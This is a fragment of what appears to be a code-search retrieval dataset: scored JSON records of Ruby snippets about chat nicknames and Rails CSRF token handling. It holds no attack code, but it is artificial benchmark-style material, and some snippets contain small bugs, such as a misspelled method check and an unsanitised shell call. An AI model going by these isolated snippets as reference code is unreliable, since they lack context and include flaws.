"0.56858754", "text": "def setnick(nickname)\n send_command(:setnick, @options[:nickname] = nickname.to_s)\n read_response # \"Nickname set to #{nickname}\"\n self\n end", "title": "" }, { "docid": "09faa1059e9125a3734be164960bcd5e", "score": "0.5679162", "text": "def nickname(url)\n return nil unless url\n if m=url.match(/([^.\\/ ]+)\\.(com|net|info|org|name|biz|gov|\\w\\w)(\\.\\w+)?(\\/.*)*(\\?.*)*$/)\n m[1]\n else\n url\n end\n end", "title": "" }, { "docid": "092b409d16cabdcf7338be8e02413b85", "score": "0.5678083", "text": "def on_nick(connection, before, after)\n end", "title": "" }, { "docid": "951eaa93033ba560d74057cc784bc6ec", "score": "0.56646997", "text": "def find(nick)\n @users.find { |u| u.nick.downcase == nick.downcase }\n end", "title": "" }, { "docid": "ff893793ec6c93e835ad8acc3a4cce9c", "score": "0.56398237", "text": "def get_lastfm(m, param) \n\t\tif param == '' || param.nil?\n\t\t\tusername = LastfmDB.first(:nick => m.user.nick.downcase)\n\t\t\tif username.nil?\n\t\t\t\tm.reply \"last.fm username not provided nor on file.\"\n\t\t\t\treturn nil\n\t\t\telse\n\t\t\t\treturn username.username\n\t\t\tend\n\t\telse\n\t\t\tusername = LastfmDB.first(:nick => param.downcase)\n\t\t\tif username.nil?\n\t\t\t\treturn param.strip\n\t\t\telse\n\t\t\t\treturn username.username\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "cbe31d67f42740567ee1cf0a4a32a7c4", "score": "0.56367135", "text": "def master_nid(nid)\n\n nid.split('-').first\n end", "title": "" }, { "docid": "363b2e8a011614b14b08d2c010185aea", "score": "0.5633534", "text": "def on_nick_in_use msg\n return if @registered or msg.connection != self\n\n if @nick == Bot::Conf[:core][:nick]\n\n if Bot::Conf[:core].key? :altnick\n @nick =Bot::Conf[:core][:altnick]\n else\n @nick = 'TerminusBot'\n end\n\n raw \"NICK #{@nick}\"\n return\n end\n\n @nick << \"_\"\n\n raw \"NICK #{@nick}\"\n end", "title": "" }, { "docid": "91d57ff9088c7771c48cccccfc2f09f2", "score": "0.5615587", "text": "def username\n @username ||= match[3]\n end", "title": "" }, { "docid": "c5b4ea750dbf07df00db789838b11347", "score": "0.5611229", "text": "def nickname=(nick)\n @nickname ? find_and_update('//apps:nickname', name: [@nickname, nick]) : create('nickname', nick)\n\n @nickname = nick\n end", "title": "" }, { "docid": "3879b460043aaf41336f743309b60020", "score": "0.5579444", "text": "def r_nick(fullactor, actor, nickname)\n report \"#{actor} changed nick to #{nickname}\" unless nickname == @me\n end", "title": "" }, { "docid": "95132d66be7f1678e4e69e9649ed62dd", "score": "0.557852", "text": "def update_nick!\n discord_user.on(game.text_channel.server).nick = \"(#{score} AP) #{discord_nick}\"\n rescue\n # Fail silently if we can't change nicks\n end", "title": "" }, { "docid": "d4030f0ad234a492e9f471d21a9c2be7", "score": "0.55773926", "text": "def r_nick(event)\n report \"#{event.nick} changed nick to #{event.message}\" unless event.nick == @yail.me\n end", "title": "" }, { "docid": "f2f57544b4f3e8cb1f84319593adc042", "score": "0.5565453", "text": "def forum_name\n if social_profile\n social_profile.public_nickname\n else\n SocialProfile.get_anonymous_name(email)\n end\n end", "title": "" }, { "docid": "46af57df7c0aac65154aced8cf40283e", "score": "0.5534066", "text": "def username\n \"rocky\"\n end", "title": "" }, { "docid": "82711e9fca7f6b67b6a9519452fa0563", "score": "0.5528803", "text": "def setNick(server,nick)\n if(@connectors.has_key?(server))\n @connectors[server].nick=nick\n end\n end", "title": "" }, { "docid": "e4a94fb20951f1901d3ceab718111309", "score": "0.5519131", "text": "def name\n [((nick_name.nil? || nick_name.length == 0) ? first_name : nick_name), last_name].join(\" \")\n end", "title": "" }, { "docid": "2fe891cacd04e5c794ef2ae9d0773337", "score": "0.55170655", "text": "def name\n $0.split(\"/\").last\n end", "title": "" }, { "docid": "236fe4ef169f96e16165eb90288ec5ea", "score": "0.551014", "text": "def nick_part(nick, reason=nil)\n return if not @names.include?(nick)\n\n @names.delete(nick)\n reason = \" (#{reason})\" if reason\n @bridge.add(:xmpp, :irc, SYSTEM_USER, \"#{nick} just left the IRC channel#{reason}\")\n end", "title": "" }, { "docid": "3984e32d64b00d268105f6909e9fd893", "score": "0.5509592", "text": "def change_nickname(token, server_id, user_id, nick)\n request(\n __method__,\n :patch,\n \"#{api_base}/guilds/#{server_id}/members/#{user_id}\",\n { nick: nick }.to_json,\n Authorization: token,\n content_type: :json\n )\n end", "title": "" }, { "docid": "680f2494f4d810ae5e95ae438d76f129", "score": "0.5505032", "text": "def username\n client.username if client\n end", "title": "" }, { "docid": "8eab1c6ec1ecb971fabdb07185dc11e7", "score": "0.5475404", "text": "def random_nick() (0..8).map { rand(65..90).chr }.join'' end", "title": "" }, { "docid": "efae11d731a3307a1d3b06a24144ee0c", "score": "0.5474736", "text": "def who\n\t\t\t@username\n\t\tend", "title": "" }, { "docid": "951066a720b3fa11856e339bdefed3c1", "score": "0.54746896", "text": "def find_username\n # Default to the nickname provided in the Omniauth details. If a nickname\n # was not provided or a user with the same username already exists, use the\n # e-mail address as the username.\n username = auth_nickname\n username = auth_email if username.blank? ||\n User.exists?(username: username)\n\n username\n end", "title": "" }, { "docid": "e55f8205f9058cdfd879f96e847a8a45", "score": "0.5467275", "text": "def reveal_author(nick)\n case nick\n when 'lddev' then 'MM'\n when '1bardesign' then 'Geti'\n when 'flieslikeabrick' then 'FliesLikeABrick'\n else I18n.news_fetcher.someone\n end\n end", "title": "" }, { "docid": "86d183c15859356d8c3f819d9f9ad735", "score": "0.5463732", "text": "def network\n n = @head.fetch[0]\n raise \"Invalid network name '#{n}'\" unless n =~ /^[a-z]{4,16}$/\n n\n end", "title": "" }, { "docid": "22b5c747deb67202a37f02626c93b7ef", "score": "0.54614365", "text": "def get_username(graph)\n graph.get_object('me')['name']\n end", "title": "" }, { "docid": "f15ce17fb4945c75e2fefa6a67da1a72", "score": "0.546047", "text": "def notename\n self.class.notename_s(notename_i)\n end", "title": "" }, { "docid": "926ae7ca858c87976c9da5228618ce23", "score": "0.5450788", "text": "def get_username()\n username_gitconfig = %x(git config user.name).strip\n username_passwd = Etc.getpwnam(Etc.getlogin).gecos.gsub(/ - SBP.*/,'')\n\n username = username_gitconfig unless username_gitconfig.nil?\n username = username_passwd if username.empty?\n username\n end", "title": "" }, { "docid": "4873ea569d1685f6b9867877fb43cbf5", "score": "0.5450348", "text": "def cpanel_username\n @username = `/scripts/whoowns #{domain}`.chomp\n username\n end", "title": "" }, { "docid": "0382f7e349921cfb95a0af8b4edefe4d", "score": "0.5447369", "text": "def master_username\n data[:master_username]\n end", "title": "" }, { "docid": "0382f7e349921cfb95a0af8b4edefe4d", "score": "0.5447369", "text": "def master_username\n data[:master_username]\n end", "title": "" }, { "docid": "e50bbba96d52b4c0c9d1c48ffeae5d35", "score": "0.5436484", "text": "def fqdn\n ssh.exec!(\"hostname --fqdn\").chomp\n end", "title": "" }, { "docid": "0549eebbe333f832aed0b3cf32a007e6", "score": "0.54357934", "text": "def username\n @username ||= config_value.split('-')[0]\n end", "title": "" }, { "docid": "371c9b8dc94cccd0327efbfeaacd6cdc", "score": "0.54317343", "text": "def nick_quit(nick, reason=nil)\n nick_part(nick, reason)\n end", "title": "" }, { "docid": "9301393083a2fd7b34d550ab16a7f8af", "score": "0.54133016", "text": "def colorize_nick(gamer)\n if gamer[:premium?]\n case gamer.role\n when 2\n Format(:green, gamer.irc_nick)\n else\n Format(:yellow, gamer.irc_nick)\n end\n else\n gamer.irc_nick\n end\n end", "title": "" }, { "docid": "11851335e52acc4af8ec2e22ae345e51", "score": "0.541078", "text": "def irc_nick_event(stem, sender, arguments) # :nodoc:\n @nick = arguments[:nick] if sender[:nick] == @nick\n @chan_mutex.synchronize do\n @channel_members.each { |chan, members| members[arguments[:nick]] = members.delete(sender[:nick]) }\n #TODO what should we do if we are in the middle of receiving NAMES replies?\n end\n end", "title": "" }, { "docid": "7ab85f780eddefbf3d61280ce692f868", "score": "0.54072547", "text": "def initialize(nickname)\n @nick = nickname\n end", "title": "" }, { "docid": "d9fd13b41db055fc67dd9c8ece33ee04", "score": "0.5389662", "text": "def netbios_name\n if (netbios = @host.at('tag[name=netbios-name]'))\n netbios.inner_text\n end\n end", "title": "" }, { "docid": "8f1ff9b08921025271e8a17352adfc97", "score": "0.5384438", "text": "def get_server_fqdn(server)\n return nil unless server\n\n nic = get_server_default_nic(server) || {}\n networks = client.list_networks(project_id: server['projectid']) || {}\n\n id = nic['networkid']\n network = networks.select { |net|\n net['id'] == id\n }.first\n return nil unless network\n\n \"#{server['name']}.#{network['networkdomain']}\"\n end", "title": "" }, { "docid": "670a4a37cba230c5be0f804d6c9bba03", "score": "0.53672546", "text": "def username\n @username || @token['data']\n end", "title": "" }, { "docid": "10c1701586c376dc4a7ff555b0f5c841", "score": "0.5366242", "text": "def get_name()\n return @me.uname if @me.brother.nil?\n return @me.brother.full_name\n end", "title": "" } ]
651ba022524d1e67fd10081a4a6f2b17
patch to supply CSRF token on all ajax requests if it is not present
[ { "docid": "e8dd9c0a0b94fd68f6add80755de3468", "score": "0.7507509", "text": "def set_csrf_headers\n if request.xhr?\n cookies['XSRF-TOKEN'] = form_authenticity_token if cookies['XSRF-TOKEN'].blank?\n end\n end", "title": "" } ]
[ { "docid": "d5e20dd65286d83cab031055d16960d6", "score": "0.7434715", "text": "def csrf_token\n response.headers['X-CSRF-Token'] = form_authenticity_token\n render json: nil\n end", "title": "" }, { "docid": "af6790b59095a73e9bc0d511fc57d4e8", "score": "0.7419263", "text": "def require_csrf_before_processing_request?\n StaticRails.config.set_csrf_token_cookie\n end", "title": "" }, { "docid": "4013a9fc2cad9658c686c52e7a5b12f1", "score": "0.7406667", "text": "def _csrf_protection!\n return if @csrf_token.nil?\n\n csrf_token = @csrf_token\n @builder.resolve do\n input(type: :hidden, name: FormHelper::CSRF_TOKEN, value: csrf_token)\n end\n end", "title": "" }, { "docid": "d7ab5a8c2329ede51f90f480127633a1", "score": "0.7352234", "text": "def force_csrf_headers\n if request.xhr? and guest_signed_in?\n # Add csrf tokens directly to response headers\n response.headers['X-CSRF-Token'] = \"#{form_authenticity_token}\"\n response.headers['X-CSRF-Param'] = \"#{request_forgery_protection_token}\"\n end\n end", "title": "" }, { "docid": "d52c54c3b28e1bd50675d28d4bcdde5e", "score": "0.7316129", "text": "def my_csrf_token\n self.session[:_my_csrf_token] ||= SecureRandom::urlsafe_base64\nend", "title": "" }, { "docid": "5ff694633a774ffc0e8da9f9b8dd5919", "score": "0.7280736", "text": "def csrf\n render json: {\n param: request_forgery_protection_token,\n token: form_authenticity_token\n }\n end", "title": "" }, { "docid": "5ff694633a774ffc0e8da9f9b8dd5919", "score": "0.7280736", "text": "def csrf\n render json: {\n param: request_forgery_protection_token,\n token: form_authenticity_token\n }\n end", "title": "" }, { "docid": "5ff694633a774ffc0e8da9f9b8dd5919", "score": "0.7280736", "text": "def csrf\n render json: {\n param: request_forgery_protection_token,\n token: form_authenticity_token\n }\n end", "title": "" }, { "docid": "862dff046d28a4a6d79bbdcfe9782b2e", "score": "0.7183673", "text": "def validate_csrf_token\n return if self.request.mehtod == \"GET\" # GET request doesn't have form data\n return if params[:_my_csrf_token] == session[:_my_csrf_token] # does nothing if ==\n raise \"CSRF ATTACK DETECTED\" # if they do not match\nend", "title": "" }, { "docid": "2914b990e12c5a8f980c2bd7daa10c60", "score": "0.717534", "text": "def csrf_token\n session[:csrf] ||= SecureRandom.hex(32) if defined?(session)\n end", "title": "" }, { "docid": "e25ca9076582d282ad1ce528e16b1e4f", "score": "0.71698666", "text": "def csrf_token\n return @csrf if @csrf\n token = Native(`document.getElementsByName('csrf-token')`)\n @csrf = token[0].content if token.length > 0\n end", "title": "" }, { "docid": "dc79960cdf00574f35bac020612ba422", "score": "0.7130727", "text": "def set_csrf_headers\n response.headers['X-CSRF-Token'] = form_authenticity_token\n end", "title": "" }, { "docid": "ceea70293cd12420cd16bacbfcbeb9a0", "score": "0.70602965", "text": "def set_csrf_cookie\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n end", "title": "" }, { "docid": "ab84f0b5dc85ee34d5525e3678038b6f", "score": "0.70535856", "text": "def append_csrf_token_in_params\n params[:authenticity_token] ||= request.headers.env['HTTP_X_CSRF_TOKEN']\n end", "title": "" }, { "docid": "90c9964e9493ca3b79f4f2252f1aeb89", "score": "0.7039061", "text": "def csrf\n session[:csrf] ||= SecureRandom.hex 32\n end", "title": "" }, { "docid": "917f99d5846502e444b7777f2180256b", "score": "0.6973775", "text": "def add_csrf_info env\n env[CSRF_TOKEN] = env[SESSION][:_csrf_token] = SecureRandom.base64(32).to_s if env[METHOD] != 'GET' and whitelisted?(env)\n end", "title": "" }, { "docid": "4ad95db7ac61f4e76860b74ce4da43d4", "score": "0.697247", "text": "def handle_unverified_request\n render json: { messages: { submission: [\"invalid CSRF authenticity token\"] } }, status: :unprocessable_entity\n end", "title": "" }, { "docid": "ee9388261047e8b1a7af3d72438f9727", "score": "0.6966386", "text": "def check_csrf\n rails_check_csrf!\n end", "title": "" }, { "docid": "58e77150d501f5c64b7999bbd344eb9b", "score": "0.6940055", "text": "def update_csrf_token(request, response)\n token = request.params[\"authenticity_token\"]\n return if token.nil?\n\n response_token = csrf_token_from response\n return token if response_token.nil?\n\n redis.set \"csrf-#{token}\", response_token\n end", "title": "" }, { "docid": "577f9d2e536bc076a0ce8ec53c512771", "score": "0.6935298", "text": "def csrf_token\n @context.csrf_token if @context.respond_to?(:csrf_token) && !EXCLUDED_CSRF_METHODS.include?(@verb_method)\n end", "title": "" }, { "docid": "d42b07faa7c24f1c4f7694535d8b8629", "score": "0.6868293", "text": "def form_authenticity_token(session)\n session[:_csrf_token] ||= ActiveSupport::SecureRandom.base64(32)\n end", "title": "" }, { "docid": "3607927956d8231c7388f5c62309c0ee", "score": "0.6859355", "text": "def csrf_token\n session[:_csrf_token] ||= ActiveSupport::SecureRandom.base64(32)\n end", "title": "" }, { "docid": "d4fe1206d3ec52cb23e67d00e6412aea", "score": "0.68578964", "text": "def check_csrf?\n true\n end", "title": "" }, { "docid": "6cf97697e56dae4043623e850e2833cc", "score": "0.6854364", "text": "def set_ng_csrf_token\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n end", "title": "" }, { "docid": "c707fc45c3dd2a1c238e27aab8c7e2fa", "score": "0.68522006", "text": "def rails_csrf_token\n rails_controller_instance.send(:form_authenticity_token)\n end", "title": "" }, { "docid": "ae93508c4a47a3a3e4bb777190919252", "score": "0.68357056", "text": "def csrf_token\n session[csrf_param] ||= SecureRandom.hex(32)\n end", "title": "" }, { "docid": "d92e3eb3c29084c7e6a3eceae0fad50e", "score": "0.68212175", "text": "def set_csrf_cookie\n cookies['XSRF-TOKEN'] = form_authenticity_token\n end", "title": "" }, { "docid": "d92e3eb3c29084c7e6a3eceae0fad50e", "score": "0.68212175", "text": "def set_csrf_cookie\n cookies['XSRF-TOKEN'] = form_authenticity_token\n end", "title": "" }, { "docid": "55744ee98bf72c40e27564939ada19b3", "score": "0.68029886", "text": "def csrf_token\n CSRF.token(env)\n end", "title": "" }, { "docid": "5c068c998132556c09f62e739a09370d", "score": "0.6768962", "text": "def csrf_token\n\t\t\tRack::Csrf.csrf_token(env)\n\t\tend", "title": "" }, { "docid": "7c5d38d408716ba39a0f7bc6537e434d", "score": "0.67614174", "text": "def form_authenticity_token\n session[:_csrf_token] ||= ActiveSupport::SecureRandom.base64(32)\n end", "title": "" }, { "docid": "604d46f53ba7f2dcfb401d9590163bc6", "score": "0.6759721", "text": "def set_csrf_cookie\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n end", "title": "" }, { "docid": "6001dff362e233e5c531ffd625060ac5", "score": "0.67582375", "text": "def verify_csrf_token?\n false\n end", "title": "" }, { "docid": "4554b5f374d592bbbb83ddbeaf7315a5", "score": "0.67371297", "text": "def rails_check_csrf!\n rails_controller_instance.send(:verify_authenticity_token)\n end", "title": "" }, { "docid": "5945afa95c77699f9b527a143653158f", "score": "0.67056763", "text": "def rails_csrf_param\n rails_controller.request_forgery_protection_token\n end", "title": "" }, { "docid": "85ece1dab8ca0a71a63a39d9873f10bc", "score": "0.6689124", "text": "def csrf_tag\n CSRF.tag(env)\n end", "title": "" }, { "docid": "6f82a3c19bd0ba7298108326ee8fe58b", "score": "0.6688023", "text": "def csrf_token\n Rack::Csrf.csrf_token(env)\n end", "title": "" }, { "docid": "af54cae2d7b31d48620408d8aaa0e09b", "score": "0.667319", "text": "def csrf_token(request)\n token = request.params[\"authenticity_token\"]\n return if token.nil?\n\n redis.get(\"csrf-#{token}\") || token\n end", "title": "" }, { "docid": "c1f539ea33bf2dd450ce10c6608ab3c0", "score": "0.6663917", "text": "def get_csrf_token\n if !session[:_csrf] or !self.validate_csrf_token(session[:_csrf][:token])\n self.generate_csrf_token\n end\n \n # Land ho!\n return session[:_csrf][:token]\n end", "title": "" }, { "docid": "dc69192d4a146719488de129c0d147a7", "score": "0.6659945", "text": "def check_csrf_protection_dependency\n if (protect_from_csrf? && !sessions?) && !defined?(Padrino::IGNORE_CSRF_SETUP_WARNING)\n warn(<<-ERROR)\n `protect_from_csrf` is activated, but `sessions` seem to be off. To enable csrf\n protection, use:\n\n enable :sessions\n\n or deactivate protect_from_csrf:\n\n disable :protect_from_csrf\n\n If you use a different session store, ignore this warning using:\n\n # in boot.rb:\n Padrino::IGNORE_CSRF_SETUP_WARNING = true\n ERROR\n end\n end", "title": "" }, { "docid": "b600daa333c2531ecc26a28f86787468", "score": "0.66335636", "text": "def validate_token\n unless (session[:token] == request.headers[:HTTP_X_CSRF_TOKEN]) && (session[:token] != nil)\n respond_with ACCESS_ERROR, location: nil\n end\n end", "title": "" }, { "docid": "4c2279f52ed6339a0bf6b4ac97755211", "score": "0.6624993", "text": "def clean_up_csrf?\n false\n end", "title": "" }, { "docid": "4c2279f52ed6339a0bf6b4ac97755211", "score": "0.6624993", "text": "def clean_up_csrf?\n false\n end", "title": "" }, { "docid": "4c2279f52ed6339a0bf6b4ac97755211", "score": "0.6624993", "text": "def clean_up_csrf?\n false\n end", "title": "" }, { "docid": "4c2279f52ed6339a0bf6b4ac97755211", "score": "0.6624993", "text": "def clean_up_csrf?\n false\n end", "title": "" }, { "docid": "4c2279f52ed6339a0bf6b4ac97755211", "score": "0.6624993", "text": "def clean_up_csrf?\n false\n end", "title": "" }, { "docid": "dd9e027120b957d77306713c00db3ed6", "score": "0.66226697", "text": "def csrf_tokens\n @csrf_tokens || {}\n end", "title": "" }, { "docid": "395be8f023ef96f7a4a280a9764e6836", "score": "0.66202563", "text": "def csrf_token\n Rack::Csrf.csrf_token(env)\n end", "title": "" }, { "docid": "395be8f023ef96f7a4a280a9764e6836", "score": "0.66202563", "text": "def csrf_token\n Rack::Csrf.csrf_token(env)\n end", "title": "" }, { "docid": "395be8f023ef96f7a4a280a9764e6836", "score": "0.66202563", "text": "def csrf_token\n Rack::Csrf.csrf_token(env)\n end", "title": "" }, { "docid": "1a9da01bf5c76102c7ab725af095ccb6", "score": "0.6619319", "text": "def setup_csrf_protection(builder)\n check_csrf_protection_dependency\n\n if protect_from_csrf?\n options = options_for_csrf_protection_setup\n options.merge!(protect_from_csrf) if protect_from_csrf.kind_of?(Hash)\n builder.use(options[:except] ? Padrino::AuthenticityToken : Rack::Protection::AuthenticityToken, options)\n end\n end", "title": "" }, { "docid": "1786b47aef4517b84cd05c23d02ccb29", "score": "0.66163146", "text": "def set_csrf_cookie_for_ng\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n end", "title": "" }, { "docid": "1786b47aef4517b84cd05c23d02ccb29", "score": "0.66163146", "text": "def set_csrf_cookie_for_ng\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n end", "title": "" }, { "docid": "1786b47aef4517b84cd05c23d02ccb29", "score": "0.66163146", "text": "def set_csrf_cookie_for_ng\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n end", "title": "" }, { "docid": "1786b47aef4517b84cd05c23d02ccb29", "score": "0.66163146", "text": "def set_csrf_cookie_for_ng\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n end", "title": "" }, { "docid": "97cff3cb99f320e623caf18e65b83629", "score": "0.6608443", "text": "def csrf_tag\n\t\t\tRack::Csrf.csrf_tag(env)\n\t\tend", "title": "" }, { "docid": "4b77355dfb75ba3a9bf96358f6b0fd45", "score": "0.65961635", "text": "def apply_csrf_protection(options = {})\n opts = {:raise => true}.merge(options)\n use Rack::Csrf, opts\n helpers Csrf::Helpers\n end", "title": "" }, { "docid": "76b0d2288e0d2ccac512255f4a679f00", "score": "0.6592631", "text": "def csrf_tag(*)\n rails_csrf_tag\n end", "title": "" }, { "docid": "24ac149786a73566d229e4105e2f1344", "score": "0.6572799", "text": "def get_csrf_token\n if !session[:_csrf] || !self.validate_csrf_token(session[:_csrf][:token])\n self.generate_csrf_token\n end\n\n return session[:_csrf][:token]\n end", "title": "" }, { "docid": "0bd20d5581afd9c2212395b53065238f", "score": "0.65443003", "text": "def csrf_token\n Rack::Csrf.token(env)\n end", "title": "" }, { "docid": "dc13e98e8d5ad7df7e84d57a3c1e50a0", "score": "0.6543587", "text": "def verified_request?\n super || validate_csrf_cookie\n end", "title": "" }, { "docid": "788d7b7164cdb90f3d2e0485c445bf99", "score": "0.65336967", "text": "def handle_unverified_request\n # NOTE: API key is secret, having it invalidates the need for a CSRF token\n unless is_api?\n super\n clear_current_user\n render text: \"['BAD CSRF']\", status: 403\n end\n end", "title": "" }, { "docid": "195d9d257df71c991f8bccd4810a7547", "score": "0.6530569", "text": "def request_authenticity_tokens\n super << request.headers['HTTP_X_XSRF_TOKEN']\n end", "title": "" }, { "docid": "3573d38e9d4d8834d3f48249cc8df3bf", "score": "0.65210706", "text": "def csrf_field\n Rack::Csrf.csrf_field\n end", "title": "" }, { "docid": "3573d38e9d4d8834d3f48249cc8df3bf", "score": "0.65210706", "text": "def csrf_field\n Rack::Csrf.csrf_field\n end", "title": "" }, { "docid": "3573d38e9d4d8834d3f48249cc8df3bf", "score": "0.65210706", "text": "def csrf_field\n Rack::Csrf.csrf_field\n end", "title": "" }, { "docid": "fae9a6f1bccc3be13f3008cd7e4319f8", "score": "0.65170443", "text": "def allow_forgery_protection\n true\n end", "title": "" }, { "docid": "fae9a6f1bccc3be13f3008cd7e4319f8", "score": "0.65170443", "text": "def allow_forgery_protection\n true\n end", "title": "" }, { "docid": "adb860377ca267e692c20de34702761e", "score": "0.65071666", "text": "def setup_csrf_protection(builder)\n if protect_from_csrf? && !sessions?\n raise(<<-ERROR)\n`protect_from_csrf` is activated, but `sessions` are not. To enable csrf\nprotection, use:\n\n enable :sessions\n\nor deactivate protect_from_csrf:\n\n disable :protect_from_csrf\nERROR\n end\n\n if protect_from_csrf?\n if allow_disabled_csrf?\n builder.use Rack::Protection::AuthenticityToken,\n :reaction => :report,\n :report_key => 'protection.csrf.failed',\n :logger => logger\n else\n builder.use Rack::Protection::AuthenticityToken,\n :logger => logger\n end\n end\n end", "title": "" }, { "docid": "e4fad167e2ff4e9554a7a88d24da5c99", "score": "0.6503223", "text": "def set_csrf_cookie_for_angularjs\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n end", "title": "" }, { "docid": "e4fad167e2ff4e9554a7a88d24da5c99", "score": "0.6503223", "text": "def set_csrf_cookie_for_angularjs\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n end", "title": "" }, { "docid": "2c4145eaa2e1fc8d09bba9b9aae2e8d9", "score": "0.64982533", "text": "def set_csrf_cookie_for_ng\n #http://stackoverflow.com/questions/14734243/rails-csrf-protection-angular-js-protect-from-forgery-makes-me-to-log-out-on\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n end", "title": "" }, { "docid": "b747221f432f12cc0ab2cd9932c9ceab", "score": "0.6491767", "text": "def set_csrf_cookie\n cookies['XSRF-TOKEN'] = {\n value: form_authenticity_token,\n same_site: 'Strict'\n }\n end", "title": "" }, { "docid": "d0537d99d65fbb9134576f45125c2d72", "score": "0.6456708", "text": "def get_csrf_token\n JSON.parse(self.get(\"/session/get?key=CSRFToken\").body)[\"CSRFToken\"]\n end", "title": "" }, { "docid": "f6f815b7ae196bf22c3a9d0e1a5bcce3", "score": "0.64436835", "text": "def get_csrf_token\n (action :query, meta: 'tokens', type: 'csrf').data\n end", "title": "" }, { "docid": "c0de378ae4b3bf16bbf9532c103168d0", "score": "0.6425077", "text": "def csrf_cache\n @csrf_cache ||= {}\n end", "title": "" }, { "docid": "50b5b5e1c553a382b4dc623df97090d7", "score": "0.63972", "text": "def test_should_allow_non_get_js_without_xhr_header\n initialize_csrf_token\n assert_cross_origin_not_blocked { post :same_origin_js, params: { custom_authenticity_token: @token } }\n assert_cross_origin_not_blocked { post :same_origin_js, params: { format: \"js\", custom_authenticity_token: @token } }\n assert_cross_origin_not_blocked do\n @request.accept = \"text/javascript\"\n post :negotiate_same_origin, params: { custom_authenticity_token: @token }\n end\n end", "title": "" }, { "docid": "d8d465de0c8ec18a288eef9622490e98", "score": "0.63744724", "text": "def csrf_param\n defined?(settings) && settings.respond_to?(:csrf_param) ? settings.csrf_param : :authenticity_token\n end", "title": "" }, { "docid": "33b32e75dad32f19e94cf115c696bb88", "score": "0.6369711", "text": "def is_protected_from_csrf?\n defined?(settings) ? settings.protect_from_csrf : true\n end", "title": "" }, { "docid": "ec0c7ad21072b4fee0ebfbd9f6bde718", "score": "0.63598686", "text": "def protect_against_forgery?\n super unless request.format == :json\n end", "title": "" }, { "docid": "1a3e7bc10c43333bfaa8338865aed081", "score": "0.63556844", "text": "def authenticity_token\n protect_against_forgery? ? form_authenticity_token : ''\n end", "title": "" }, { "docid": "f418689234b41ca94d0dd1b128ddc796", "score": "0.6323579", "text": "def skip_forgery_protection(options = T.unsafe(nil)); end", "title": "" }, { "docid": "05466f5cfc79ee9f2152b62136c55cd1", "score": "0.6322948", "text": "def csrftoken\n _get_cookie_name \"csrftoken\"\n end", "title": "" }, { "docid": "40a114465fd195c1f745c1c4d204c696", "score": "0.63189155", "text": "def csrf_protection(*methods, &block)\n if methods.include?(action.name) \\\n or methods.include?(action.name.to_sym)\n unless validate_csrf_token(request.params[CSRF.options.field_name])\n yield\n end\n end\n end", "title": "" }, { "docid": "4dbfa368eabbbdb6f5adca2b6d520e10", "score": "0.6316919", "text": "def my_csrf_token\n SecureRandom::urlsafe_base64\nend", "title": "" }, { "docid": "d103655a3baf440f85462ca831f5f37b", "score": "0.6308704", "text": "def csrf_token_hash(action=nil)\n if @controller.respond_to?(:check_csrf!)\n # Using route_csrf plugin\n token = if @controller.use_request_specific_csrf_tokens?\n @controller.csrf_token(@controller.csrf_path(action))\n # :nocov:\n else\n @controller.csrf_token\n # :nocov:\n end\n {@controller.csrf_field=>token}\n # :nocov:\n elsif defined?(::Rack::Csrf) && !@controller.opts[:no_csrf]\n {::Rack::Csrf.field=>::Rack::Csrf.token(@env)}\n # :nocov:\n end\n end", "title": "" }, { "docid": "a1fb3797d515827294c4eeb387354de4", "score": "0.6279275", "text": "def update_csrf_token_and_cookies(request, response)\n update_csrf_token(request, response)\n update_cookies(request, response)\n end", "title": "" }, { "docid": "18ae56bcc949a8bd7463c1d619d2e423", "score": "0.627514", "text": "def csrf_header\n CSRF.header\n end", "title": "" }, { "docid": "fa022ad1f75d247b1ede43956874b3b3", "score": "0.6270228", "text": "def csrf_token_data\n @logger.debug('csrf_token is empty') if @csrf_token.nil?\n @csrf_token = get_csrf_token(new_work_url) if @csrf_token.nil?\n { csrf_form_field.to_s => @csrf_token }\n end", "title": "" }, { "docid": "5aeb525246a2f3a9cab7d2c8b782edf9", "score": "0.62700814", "text": "def rails_csrf_tag\n %(<input type=\"hidden\" name=\"#{rails_csrf_param}\" value=\"#{rails_csrf_token}\">)\n end", "title": "" }, { "docid": "37b6172913cb0b97702a63e1d39ed0ea", "score": "0.62595195", "text": "def copy_csrf_token_into(form)\n form['csrf_token'] = csrf_token\n end", "title": "" }, { "docid": "2901d60ab009777382b4329372ee3ba2", "score": "0.6233049", "text": "def protect_against_forgery?; false; end", "title": "" }, { "docid": "e26aa2ea2dfdfd6fbbb04ce8e3125e0a", "score": "0.6232513", "text": "def handle_unverified_request\n Rails.logger.error \"Resetting session due to CSRF violation\"\n reset_session\n end", "title": "" }, { "docid": "2e6c4f4307708293032120846837e84d", "score": "0.6210812", "text": "def request_authenticity_tokens # :doc:\n [form_authenticity_param, request.x_csrf_token]\n end", "title": "" }, { "docid": "a8b44e4a30719f16d8dbd2c2061a390f", "score": "0.62095064", "text": "def csrf_metatag(opts={})\n CSRF.metatag(env, opts)\n end", "title": "" }, { "docid": "2f9393e4dc1337e275d1c14aacc88f01", "score": "0.62070566", "text": "def check_json_authenticity\n return unless request.format.js? or request.format.json?\n auth_token = params[request_forgery_protection_token]\n unless (auth_token and form_authenticity_token == auth_token.gsub(' ', '+'))\n raise(ActionController::InvalidAuthenticityToken)\n end\n end", "title": "" }, { "docid": "28dbe3504ccfec15b7826cc200613bf1", "score": "0.6203213", "text": "def form_authenticity_token\n 'foo'\n end", "title": "" }, { "docid": "28dbe3504ccfec15b7826cc200613bf1", "score": "0.6203213", "text": "def form_authenticity_token\n 'foo'\n end", "title": "" }, { "docid": "80716f4f605dc0abd0f4601d1e67d9d4", "score": "0.62031597", "text": "def csrf_token_hash(action=nil)\n # :nocov:\n if defined?(::Rack::Csrf)\n # :nocov:\n {::Rack::Csrf.field=>::Rack::Csrf.token(@env)}\n end\n end", "title": "" 